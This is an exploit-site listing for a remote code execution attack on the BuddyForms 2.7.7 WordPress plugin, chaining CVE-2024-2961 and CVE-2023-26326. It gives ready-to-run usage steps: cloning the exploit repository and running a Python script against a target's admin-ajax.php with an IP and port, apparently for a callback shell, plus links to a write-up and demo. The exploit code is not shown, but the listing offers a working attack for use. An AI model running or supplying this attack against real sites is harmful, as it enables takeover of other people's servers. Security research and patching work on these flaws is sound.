Exploit for CVE-2024-2961 CVE-2024-2961 CVE-2023-26326

Name: Exploit for CVE-2024-2961 CVE-2024-2961 CVE-2023-26326
Rating: 5 (306 reviews)

2025-02-04 | CVSS 9.8

## https://sploitus.com/exploit?id=FCF4ED91-6255-5117-A09D-DE097EF0777E
# Buddyforms 2.7.7 CNEXT RCE 
Abusing CVE-2024-2961 and CVE-2023–26326 to RCE 
# Usage
```code
git-clone https://github.com/suce0155/CVE-2024-2961_buddyforms_2.7.7
pip install -r requirements.txt
python3 buddyforms_2.7.7_cnext_exploit.py http://site/wp-admin/admin-ajax.php {ip} {port}
```
# Analysis and Technical Details

Check out my [**blog post**](https://medium.com/@suce0155/cve-2024-2961-buddyforms-2-7-7-iconv-lfi-to-rce-ee6409ccf9f9)

# POC

![Alt Text](https://github.com/suce0155/CVE-2024-2961_buddyforms_2.7.7/blob/main/poc.gif)